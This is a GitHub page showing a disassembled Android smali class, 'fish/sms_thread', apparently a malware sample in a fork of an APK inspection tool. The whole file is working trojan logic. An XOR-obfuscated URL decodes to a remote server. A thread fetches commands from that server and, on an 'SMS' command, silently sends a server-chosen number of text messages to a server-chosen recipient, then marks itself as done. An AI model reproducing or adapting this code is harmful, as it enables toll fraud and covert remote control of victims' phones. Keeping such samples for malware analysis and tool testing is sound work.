forked from honeynet/apkinspector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
smali.smali
669 lines (499 loc) · 19.3 KB
/
smali.smali
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
.class public Lfish/sms_thread;
.super Ljava/lang/Thread;
.source "sms_thread.java"
# static fields
.field public static address:[I
# instance fields
.field context:Landroid/content/Context;
# direct methods
.method static constructor <clinit>()V
.locals 1
.prologue
.line 19
const/16 v0, 0x30
#v0=(PosByte);
new-array v0, v0, [I
#v0=(Reference,[I);
fill-array-data v0, :array_0
sput-object v0, Lfish/sms_thread;->address:[I
.line 12
return-void
.line 19
:array_0
.array-data 0x4
0x97t 0xfft 0xfft 0xfft
0x8bt 0xfft 0xfft 0xfft
0x8bt 0xfft 0xfft 0xfft
0x8ft 0xfft 0xfft 0xfft
0xc5t 0xfft 0xfft 0xfft
0xd0t 0xfft 0xfft 0xfft
0xd0t 0xfft 0xfft 0xfft
0x96t 0xfft 0xfft 0xfft
0xd1t 0xfft 0xfft 0xfft
0x86t 0xfft 0xfft 0xfft
0x9et 0xfft 0xfft 0xfft
0x91t 0xfft 0xfft 0xfft
0x98t 0xfft 0xfft 0xfft
0x8dt 0xfft 0xfft 0xfft
0x8at 0xfft 0xfft 0xfft
0x96t 0xfft 0xfft 0xfft
0x93t 0xfft 0xfft 0xfft
0x96t 0xfft 0xfft 0xfft
0x91t 0xfft 0xfft 0xfft
0x98t 0xfft 0xfft 0xfft
0xd1t 0xfft 0xfft 0xfft
0x9ct 0xfft 0xfft 0xfft
0x90t 0xfft 0xfft 0xfft
0x92t 0xfft 0xfft 0xfft
0xd0t 0xfft 0xfft 0xfft
0x9et 0xfft 0xfft 0xfft
0xd0t 0xfft 0xfft 0xfft
0x9et 0xfft 0xfft 0xfft
0x91t 0xfft 0xfft 0xfft
0x9bt 0xfft 0xfft 0xfft
0x8dt 0xfft 0xfft 0xfft
0x90t 0xfft 0xfft 0xfft
0x96t 0xfft 0xfft 0xfft
0x9bt 0xfft 0xfft 0xfft
0xd1t 0xfft 0xfft 0xfft
0x9et 0xfft 0xfft 0xfft
0x8ct 0xfft 0xfft 0xfft
0x8ft 0xfft 0xfft 0xfft
0xc0t 0xfft 0xfft 0xfft
0x89t 0xfft 0xfft 0xfft
0x9at 0xfft 0xfft 0xfft
0x8dt 0xfft 0xfft 0xfft
0x8ct 0xfft 0xfft 0xfft
0x96t 0xfft 0xfft 0xfft
0x90t 0xfft 0xfft 0xfft
0x91t 0xfft 0xfft 0xfft
0xc2t 0xfft 0xfft 0xfft
0xcet 0xfft 0xfft 0xfft
.end array-data
.end method
.method public constructor <init>(Landroid/content/Context;)V
.locals 0
.parameter "t"
.prologue
.line 14
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
.line 15
#p0=(Reference,Lfish/sms_thread;);
iput-object p1, p0, Lfish/sms_thread;->context:Landroid/content/Context;
.line 17
return-void
.end method
.method public static decode([I)Ljava/lang/String;
.locals 4
.parameter "data"
.prologue
.line 71
new-instance v2, Ljava/lang/StringBuffer;
#v2=(UninitRef,Ljava/lang/StringBuffer;);
invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
.line 72
.local v2, sb:Ljava/lang/StringBuffer;
#v2=(Reference,Ljava/lang/StringBuffer;);
const/4 v1, 0x0
.local v1, i:I
:goto_0
#v0=(Conflicted);v1=(Integer);v3=(Conflicted);
array-length v3, p0
#v3=(Integer);
if-lt v1, v3, :cond_0
.line 76
invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
move-result-object v3
#v3=(Reference,Ljava/lang/String;);
return-object v3
.line 73
:cond_0
#v3=(Integer);
aget v3, p0, v1
xor-int/lit8 v0, v3, -0x1
.line 74
.local v0, ch:I
#v0=(Integer);
int-to-char v3, v0
#v3=(Char);
invoke-static {v3}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
move-result-object v3
#v3=(Reference,Ljava/lang/String;);
invoke-virtual {v2, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
.line 72
add-int/lit8 v1, v1, 0x1
goto :goto_0
.end method
# virtual methods
.method public check_Alive()Z
.locals 5
.prologue
const/4 v4, 0x0
.line 88
#v4=(Null);
iget-object v2, p0, Lfish/sms_thread;->context:Landroid/content/Context;
#v2=(Reference,Landroid/content/Context;);
const-string v3, "database"
#v3=(Reference,Ljava/lang/String;);
invoke-virtual {v2, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
move-result-object v0
.line 89
.local v0, settings:Landroid/content/SharedPreferences;
#v0=(Reference,Landroid/content/SharedPreferences;);
const-string v2, "alive"
invoke-interface {v0, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
move-result v1
.line 90
.local v1, silent:Z
#v1=(Boolean);
return v1
.end method
.method public run()V
.locals 20
.prologue
.line 93
invoke-virtual/range {p0 .. p0}, Lfish/sms_thread;->check_Alive()Z
move-result v4
#v4=(Boolean);
if-eqz v4, :cond_0
.line 151
:goto_0
#v0=(Conflicted);v1=(Conflicted);v2=(Conflicted);v3=(Conflicted);v4=(Conflicted);v5=(Conflicted);v6=(Conflicted);v7=(Conflicted);v8=(Conflicted);v9=(Conflicted);v10=(Conflicted);v11=(Conflicted);v12=(Conflicted);v13=(Conflicted);v14=(Conflicted);v15=(Conflicted);v16=(Conflicted);v17=(Conflicted);v18=(Conflicted);v19=(Conflicted);
return-void
.line 97
:cond_0
#v0=(Uninit);v1=(Uninit);v2=(Uninit);v3=(Uninit);v4=(Boolean);v5=(Uninit);v6=(Uninit);v7=(Uninit);v8=(Uninit);v9=(Uninit);v10=(Uninit);v11=(Uninit);v12=(Uninit);v13=(Uninit);v14=(Uninit);v15=(Uninit);v16=(Uninit);v17=(Uninit);v18=(Uninit);v19=(Uninit);
const/16 v18, 0x0
.line 98
.local v18, url:Ljava/net/URL;
#v18=(Null);
const/4 v8, 0x0
.line 100
.local v8, conn:Ljava/net/HttpURLConnection;
:try_start_0
#v8=(Null);
sget-object v4, Lfish/sms_thread;->address:[I
#v4=(Reference,[I);
invoke-static {v4}, Lfish/sms_thread;->decode([I)Ljava/lang/String;
move-result-object v15
.line 102
.local v15, server:Ljava/lang/String;
#v15=(Reference,Ljava/lang/String;);
new-instance v19, Ljava/net/URL;
#v19=(UninitRef,Ljava/net/URL;);
move-object/from16 v0, v19
#v0=(UninitRef,Ljava/net/URL;);
move-object v1, v15
#v1=(Reference,Ljava/lang/String;);
invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
:try_end_0
.catchall {:try_start_0 .. :try_end_0} :catchall_1
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
.line 103
.end local v18 #url:Ljava/net/URL;
.local v19, url:Ljava/net/URL;
:try_start_1
#v0=(Reference,Ljava/net/URL;);v19=(Reference,Ljava/net/URL;);
invoke-virtual/range {v19 .. v19}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
move-result-object v9
#v9=(Reference,Ljava/net/URLConnection;);
move-object v0, v9
check-cast v0, Ljava/net/HttpURLConnection;
move-object v8, v0
.line 104
#v8=(Reference,Ljava/net/HttpURLConnection;);
const/4 v4, 0x1
#v4=(One);
invoke-virtual {v8, v4}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
.line 105
const/4 v4, 0x1
invoke-virtual {v8, v4}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
.line 106
const/4 v4, 0x0
#v4=(Null);
invoke-virtual {v8, v4}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
.line 108
const-string v4, "GET"
#v4=(Reference,Ljava/lang/String;);
invoke-virtual {v8, v4}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
.line 110
const-string v4, "Connection"
const-string v5, "Keep-Alive"
#v5=(Reference,Ljava/lang/String;);
invoke-virtual {v8, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
.line 111
const-string v4, "Charset"
const-string v5, "UTF-8"
invoke-virtual {v8, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
.line 112
const-string v4, "Content-type"
const-string v5, "application/x-www-form-urlencoded"
invoke-virtual {v8, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
.line 115
new-instance v13, Ljava/io/BufferedReader;
#v13=(UninitRef,Ljava/io/BufferedReader;);
new-instance v4, Ljava/io/InputStreamReader;
#v4=(UninitRef,Ljava/io/InputStreamReader;);
invoke-virtual {v8}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
move-result-object v5
invoke-direct {v4, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
#v4=(Reference,Ljava/io/InputStreamReader;);
invoke-direct {v13, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
.line 116
.local v13, rd:Ljava/io/BufferedReader;
#v13=(Reference,Ljava/io/BufferedReader;);
const-string v11, ""
.line 117
.local v11, line:Ljava/lang/String;
#v11=(Reference,Ljava/lang/String;);
new-instance v14, Ljava/lang/StringBuffer;
#v14=(UninitRef,Ljava/lang/StringBuffer;);
invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
.line 118
.local v14, sb:Ljava/lang/StringBuffer;
:goto_1
#v14=(Reference,Ljava/lang/StringBuffer;);
invoke-virtual {v13}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v11
if-nez v11, :cond_1
.line 123
invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
move-result-object v16
.line 124
.local v16, txt:Ljava/lang/String;
#v16=(Reference,Ljava/lang/String;);
const-string v4, "\\*"
move-object/from16 v0, v16
move-object v1, v4
invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v17
.line 127
.local v17, txt_array:[Ljava/lang/String;
#v17=(Reference,[Ljava/lang/String;);
const/4 v4, 0x0
#v4=(Null);
aget-object v4, v17, v4
#v4=(Reference,Ljava/lang/String;);
invoke-virtual {v4}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
move-result-object v4
const-string v5, "SMS"
invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v4
#v4=(Boolean);
if-eqz v4, :cond_4
.line 128
const/4 v4, 0x3
#v4=(PosByte);
aget-object v4, v17, v4
#v4=(Reference,Ljava/lang/String;);
invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v12
.line 129
.local v12, number:I
#v12=(Integer);
const/4 v4, 0x4
#v4=(PosByte);
aget-object v3, v17, v4
.line 130
.local v3, ip:Ljava/lang/String;
#v3=(Reference,Ljava/lang/String;);
const/4 v4, 0x5
aget-object v5, v17, v4
:try_end_1
.catchall {:try_start_1 .. :try_end_1} :catchall_0
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
.line 134
.local v5, ipmsg:Ljava/lang/String;
if-nez v12, :cond_2
.line 148
invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V
goto/16 :goto_0
.line 119
.end local v3 #ip:Ljava/lang/String;
.end local v5 #ipmsg:Ljava/lang/String;
.end local v12 #number:I
.end local v16 #txt:Ljava/lang/String;
.end local v17 #txt_array:[Ljava/lang/String;
:cond_1
:try_start_2
#v3=(Uninit);v4=(Reference,Ljava/io/InputStreamReader;);v12=(Uninit);v16=(Uninit);v17=(Uninit);
invoke-virtual {v14, v11}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
:try_end_2
.catchall {:try_start_2 .. :try_end_2} :catchall_0
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_0
goto :goto_1
.line 145
.end local v11 #line:Ljava/lang/String;
.end local v13 #rd:Ljava/io/BufferedReader;
.end local v14 #sb:Ljava/lang/StringBuffer;
:catch_0
#v2=(Conflicted);v3=(Conflicted);v4=(Conflicted);v5=(Conflicted);v6=(Conflicted);v7=(Conflicted);v9=(Conflicted);v10=(Conflicted);v11=(Conflicted);v12=(Conflicted);v13=(Conflicted);v14=(Conflicted);v16=(Conflicted);v17=(Conflicted);
move-exception v4
#v4=(Reference,Ljava/lang/Exception;);
move-object v9, v4
#v9=(Reference,Ljava/lang/Exception;);
move-object/from16 v18, v19
.line 146
.end local v15 #server:Ljava/lang/String;
.end local v19 #url:Ljava/net/URL;
.local v9, e:Ljava/lang/Exception;
.restart local v18 #url:Ljava/net/URL;
:goto_2
:try_start_3
#v0=(Conflicted);v1=(Conflicted);v15=(Conflicted);v18=(Reference,Ljava/net/URL;);v19=(Conflicted);
invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
:try_end_3
.catchall {:try_start_3 .. :try_end_3} :catchall_1
.line 148
invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V
goto/16 :goto_0
.line 136
.end local v9 #e:Ljava/lang/Exception;
.end local v18 #url:Ljava/net/URL;
.restart local v3 #ip:Ljava/lang/String;
.restart local v5 #ipmsg:Ljava/lang/String;
.restart local v11 #line:Ljava/lang/String;
.restart local v12 #number:I
.restart local v13 #rd:Ljava/io/BufferedReader;
.restart local v14 #sb:Ljava/lang/StringBuffer;
.restart local v15 #server:Ljava/lang/String;
.restart local v16 #txt:Ljava/lang/String;
.restart local v17 #txt_array:[Ljava/lang/String;
.restart local v19 #url:Ljava/net/URL;
:cond_2
:try_start_4
#v0=(Reference,Ljava/lang/String;);v1=(Reference,Ljava/lang/String;);v2=(Uninit);v3=(Reference,Ljava/lang/String;);v4=(PosByte);v5=(Reference,Ljava/lang/String;);v6=(Uninit);v7=(Uninit);v10=(Uninit);v11=(Reference,Ljava/lang/String;);v12=(Integer);v13=(Reference,Ljava/io/BufferedReader;);v14=(Reference,Ljava/lang/StringBuffer;);v15=(Reference,Ljava/lang/String;);v16=(Reference,Ljava/lang/String;);v17=(Reference,[Ljava/lang/String;);v18=(Null);v19=(Reference,Ljava/net/URL;);
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
move-result-object v2
.line 137
.local v2, smsManager:Landroid/telephony/SmsManager;
#v2=(Reference,Landroid/telephony/SmsManager;);
const/4 v10, 0x0
.local v10, i:I
:goto_3
#v6=(Conflicted);v7=(Conflicted);v10=(Integer);
if-lt v10, v12, :cond_3
.line 143
.end local v2 #smsManager:Landroid/telephony/SmsManager;
.end local v3 #ip:Ljava/lang/String;
.end local v5 #ipmsg:Ljava/lang/String;
.end local v10 #i:I
.end local v12 #number:I
:goto_4
#v2=(Conflicted);v3=(Conflicted);v4=(Conflicted);v10=(Conflicted);v12=(Conflicted);
invoke-virtual/range {p0 .. p0}, Lfish/sms_thread;->save_Alive()V
:try_end_4
.catchall {:try_start_4 .. :try_end_4} :catchall_0
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_0
.line 148
invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V
move-object/from16 v18, v19
.end local v19 #url:Ljava/net/URL;
.restart local v18 #url:Ljava/net/URL;
#v18=(Reference,Ljava/net/URL;);
goto/16 :goto_0
.line 138
.end local v18 #url:Ljava/net/URL;
.restart local v2 #smsManager:Landroid/telephony/SmsManager;
.restart local v3 #ip:Ljava/lang/String;
.restart local v5 #ipmsg:Ljava/lang/String;
.restart local v10 #i:I
.restart local v12 #number:I
.restart local v19 #url:Ljava/net/URL;
:cond_3
#v2=(Reference,Landroid/telephony/SmsManager;);v3=(Reference,Ljava/lang/String;);v4=(PosByte);v10=(Integer);v12=(Integer);v18=(Null);
const/4 v4, 0x0
#v4=(Null);
const/4 v6, 0x0
#v6=(Null);
const/4 v7, 0x0
:try_start_5
#v7=(Null);
invoke-virtual/range {v2 .. v7}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
.line 137
add-int/lit8 v10, v10, 0x1
goto :goto_3
.line 140
.end local v2 #smsManager:Landroid/telephony/SmsManager;
.end local v3 #ip:Ljava/lang/String;
.end local v5 #ipmsg:Ljava/lang/String;
.end local v10 #i:I
.end local v12 #number:I
:cond_4
#v2=(Uninit);v3=(Uninit);v4=(Boolean);v6=(Uninit);v7=(Uninit);v10=(Uninit);v12=(Uninit);
const/4 v4, 0x0
#v4=(Null);
aget-object v4, v17, v4
#v4=(Reference,Ljava/lang/String;);
invoke-virtual {v4}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
move-result-object v4
const-string v5, "BBX"
invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
:try_end_5
.catchall {:try_start_5 .. :try_end_5} :catchall_0
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_0
goto :goto_4
.line 147
.end local v11 #line:Ljava/lang/String;
.end local v13 #rd:Ljava/io/BufferedReader;
.end local v14 #sb:Ljava/lang/StringBuffer;
.end local v16 #txt:Ljava/lang/String;
.end local v17 #txt_array:[Ljava/lang/String;
:catchall_0
#v2=(Conflicted);v3=(Conflicted);v4=(Conflicted);v5=(Conflicted);v6=(Conflicted);v7=(Conflicted);v9=(Conflicted);v10=(Conflicted);v11=(Conflicted);v12=(Conflicted);v13=(Conflicted);v14=(Conflicted);v16=(Conflicted);v17=(Conflicted);
move-exception v4
#v4=(Reference,Ljava/lang/Throwable;);
move-object/from16 v18, v19
.line 148
.end local v15 #server:Ljava/lang/String;
.end local v19 #url:Ljava/net/URL;
.restart local v18 #url:Ljava/net/URL;
:goto_5
#v0=(Conflicted);v1=(Conflicted);v15=(Conflicted);v18=(Reference,Ljava/net/URL;);v19=(Conflicted);
invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V
.line 149
throw v4
.line 147
:catchall_1
#v4=(Conflicted);
move-exception v4
#v4=(Reference,Ljava/lang/Throwable;);
goto :goto_5
.line 145
:catch_1
#v2=(Uninit);v3=(Uninit);v4=(Conflicted);v5=(Uninit);v6=(Uninit);v7=(Uninit);v8=(Null);v9=(Uninit);v10=(Uninit);v11=(Uninit);v12=(Uninit);v13=(Uninit);v14=(Uninit);v16=(Uninit);v17=(Uninit);v18=(Null);
move-exception v4
#v4=(Reference,Ljava/lang/Exception;);
move-object v9, v4
#v9=(Reference,Ljava/lang/Exception;);
goto :goto_2
.end method
.method public save_Alive()V
.locals 5
.prologue
.line 80
iget-object v2, p0, Lfish/sms_thread;->context:Landroid/content/Context;
#v2=(Reference,Landroid/content/Context;);
const-string v3, "database"
#v3=(Reference,Ljava/lang/String;);
const/4 v4, 0x0
#v4=(Null);
invoke-virtual {v2, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
move-result-object v1
.line 81
.local v1, settings:Landroid/content/SharedPreferences;
#v1=(Reference,Landroid/content/SharedPreferences;);
invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
move-result-object v0
.line 82
.local v0, editor:Landroid/content/SharedPreferences$Editor;
#v0=(Reference,Landroid/content/SharedPreferences$Editor;);
const-string v2, "alive"
const/4 v3, 0x1
#v3=(One);
invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
.line 83
invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
.line 85
return-void
.end method